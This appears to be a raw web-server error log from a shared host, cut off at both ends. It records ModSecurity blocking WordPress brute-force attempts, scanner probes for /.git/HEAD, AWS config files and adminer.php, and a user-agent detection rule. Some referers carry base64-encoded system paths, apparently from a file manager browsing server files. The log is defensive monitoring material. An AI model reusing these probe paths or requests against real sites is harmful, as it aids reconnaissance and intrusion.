57.141.14.88:49500] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:08.699484 2026] [access_compat:error] [pid 648189:tid 648244] [remote 57.141.14.88:49500] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:08.794678 2026] [security2:error] [pid 646876:tid 646937] [remote 17.246.19.244:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 244.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zuNyTkdrNlD40tSG8wQAAbzo"] [Sat Jun 13 18:20:08.900321 2026] [access_compat:error] [pid 646876:tid 646970] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDA= [Sat Jun 13 18:20:08.900779 2026] [access_compat:error] [pid 646876:tid 646970] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDA= [Sat Jun 13 18:20:08.954599 2026] [security2:error] [pid 648189:tid 648317] [remote 17.22.253.43:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 43.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zuFWSojQL4F7upKCCkwAA_V8"] [Sat Jun 13 18:20:09.051064 2026] [security2:error] [pid 646876:tid 646965] [remote 109.123.245.70:50088] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.245.123.109.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "camera-roll.com"] [uri "/wp-login.php"] [unique_id "ai3zudyTkdrNlD40tSG8xgAAGlY"], referer: https://camera-roll.com/wp-login.php [Sat Jun 13 18:20:09.056605 2026] [access_compat:error] [pid 648189:tid 648230] [remote 57.141.14.24:33470] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:09.056896 2026] [access_compat:error] [pid 648189:tid 648230] [remote 57.141.14.24:33470] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:09.083260 2026] [security2:error] [pid 648189:tid 648423] [client 172.56.168.133:14972] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zuVWSojQL4F7upKCCmwAAAMo"] [Sat Jun 13 18:20:09.087639 2026] [security2:error] [pid 648189:tid 648423] [client 172.56.168.133:14972] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zuVWSojQL4F7upKCCmwAAAMo"] [Sat Jun 13 18:20:09.089900 2026] [access_compat:error] [pid 648189:tid 648220] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:09.090199 2026] [access_compat:error] [pid 648189:tid 648220] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:09.131490 2026] [security2:error] [pid 648189:tid 648329] [remote 17.241.219.128:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 128.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zuVWSojQL4F7upKCCngAAm2o"] [Sat Jun 13 18:20:09.146797 2026] [security2:error] [pid 648189:tid 648223] [remote 17.246.19.207:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 207.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zuVWSojQL4F7upKCCnwABAwM"] [Sat Jun 13 18:20:09.324191 2026] [security2:error] [pid 646876:tid 647115] [client 45.130.203.202:27719] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "hillcrestkck.magia.vegas"] [uri "/.git/HEAD"] [unique_id "ai3zudyTkdrNlD40tSG8yQAAAGs"] [Sat Jun 13 18:20:09.371316 2026] [access_compat:error] [pid 646876:tid 646949] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNlL2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9MTlhDUFU6MTU= [Sat Jun 13 18:20:09.371772 2026] [access_compat:error] [pid 646876:tid 646949] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNlL2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9MTlhDUFU6MTU= [Sat Jun 13 18:20:09.434775 2026] [security2:error] [pid 646876:tid 647027] [client 45.130.203.195:39311] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "www.hillcrestkck.magia.vegas"] [uri "/.git/HEAD"] [unique_id "ai3zudyTkdrNlD40tSG8zQAAABM"] [Sat Jun 13 18:20:09.441484 2026] [security2:error] [pid 648189:tid 648387] [client 45.130.203.231:62585] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "www.hillcrestkck.com"] [uri "/.git/HEAD"] [unique_id "ai3zuVWSojQL4F7upKCCrwAAAKc"] [Sat Jun 13 18:20:09.470386 2026] [access_compat:error] [pid 648189:tid 648310] [remote 57.141.14.54:63297] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:09.470852 2026] [access_compat:error] [pid 648189:tid 648310] [remote 57.141.14.54:63297] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:09.574283 2026] [security2:error] [pid 648189:tid 648312] [remote 216.73.216.223:23206] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 223.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3zuVWSojQL4F7upKCCtgAAklo"], referer: https://homs.co.ke/?action=adminer&p=L2V0Yy92ZmlsdGVycw%3D%3D [Sat Jun 13 18:20:09.696446 2026] [core:error] [pid 648189:tid 648473] [client 45.86.200.47:59723] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:09.696487 2026] [core:error] [pid 648189:tid 648473] [client 45.86.200.47:59723] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:09.806127 2026] [access_compat:error] [pid 648189:tid 648313] [remote 57.141.14.15:61939] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:09.806386 2026] [access_compat:error] [pid 648189:tid 648313] [remote 57.141.14.15:61939] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:09.911900 2026] [access_compat:error] [pid 646876:tid 646898] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL2RldmljZQ== [Sat Jun 13 18:20:09.912351 2026] [access_compat:error] [pid 646876:tid 646898] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL2RldmljZQ== [Sat Jun 13 18:20:09.921772 2026] [security2:error] [pid 648189:tid 648346] [remote 202.172.25.41:55420] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 41.25.172.202.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "taetaebobateashop.com"] [uri "/wp-login.php"] [unique_id "ai3zuVWSojQL4F7upKCCygAA1ns"] [Sat Jun 13 18:20:09.989274 2026] [security2:error] [pid 648189:tid 648405] [client 210.217.96.217:65236] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zuVWSojQL4F7upKCCzAAAALg"] [Sat Jun 13 18:20:09.989491 2026] [security2:error] [pid 648189:tid 648405] [client 210.217.96.217:65236] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zuVWSojQL4F7upKCCzAAAALg"] [Sat Jun 13 18:20:10.255133 2026] [access_compat:error] [pid 648189:tid 648248] [remote 57.141.14.77:27993] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:10.255418 2026] [access_compat:error] [pid 648189:tid 648248] [remote 57.141.14.77:27993] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:10.422026 2026] [access_compat:error] [pid 646876:tid 646971] [remote 57.141.14.16:39054] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:10.422465 2026] [access_compat:error] [pid 646876:tid 646971] [remote 57.141.14.16:39054] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:10.444032 2026] [access_compat:error] [pid 646876:tid 646904] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDEvcG93ZXI= [Sat Jun 13 18:20:10.444284 2026] [access_compat:error] [pid 646876:tid 646904] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDEvcG93ZXI= [Sat Jun 13 18:20:10.555670 2026] [security2:error] [pid 646876:tid 646924] [remote 104.248.158.72:56402] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 72.158.248.104.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-login.php"] [unique_id "ai3zutyTkdrNlD40tSG84gAAEi0"] [Sat Jun 13 18:20:10.659573 2026] [access_compat:error] [pid 648189:tid 648330] [remote 57.141.14.113:59242] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:10.659882 2026] [access_compat:error] [pid 648189:tid 648330] [remote 57.141.14.113:59242] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:10.851006 2026] [security2:error] [pid 646876:tid 647021] [client 185.177.72.9:43310] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config/aws.php"] [unique_id "ai3zutyTkdrNlD40tSG85gAAAA0"] [Sat Jun 13 18:20:10.971749 2026] [security2:error] [pid 648189:tid 648327] [remote 209.38.221.42:33992] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 42.221.38.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gkmasterson.com"] [uri "/wp-login.php"] [unique_id "ai3zulWSojQL4F7upKCC8AAAqWg"] [Sat Jun 13 18:20:10.983190 2026] [security2:error] [pid 646876:tid 646967] [remote 104.248.158.72:56402] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 72.158.248.104.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-login.php"] [unique_id "ai3zutyTkdrNlD40tSG86QAAHVg"], referer: https://nelsonfarmstn.com/wp-login.php [Sat Jun 13 18:20:11.004700 2026] [access_compat:error] [pid 646876:tid 646910] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9ldmVudDIvcG93ZXI= [Sat Jun 13 18:20:11.005154 2026] [access_compat:error] [pid 646876:tid 646910] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9ldmVudDIvcG93ZXI= [Sat Jun 13 18:20:11.088838 2026] [core:error] [pid 648189:tid 648398] [client 185.82.72.1:65317] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:11.088863 2026] [core:error] [pid 648189:tid 648398] [client 185.82.72.1:65317] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:11.273829 2026] [security2:error] [pid 648189:tid 648282] [remote 209.38.221.42:33992] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 42.221.38.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gkmasterson.com"] [uri "/wp-login.php"] [unique_id "ai3zu1WSojQL4F7upKCDAQAAtDw"], referer: https://gkmasterson.com/wp-login.php [Sat Jun 13 18:20:11.338598 2026] [access_compat:error] [pid 648189:tid 648247] [remote 57.141.14.19:21684] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:11.339038 2026] [access_compat:error] [pid 648189:tid 648247] [remote 57.141.14.19:21684] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:11.373846 2026] [access_compat:error] [pid 648189:tid 648323] [remote 57.141.14.7:60031] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:11.374139 2026] [access_compat:error] [pid 648189:tid 648323] [remote 57.141.14.7:60031] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:11.521058 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9ldmVudDMvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:20:11.521344 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 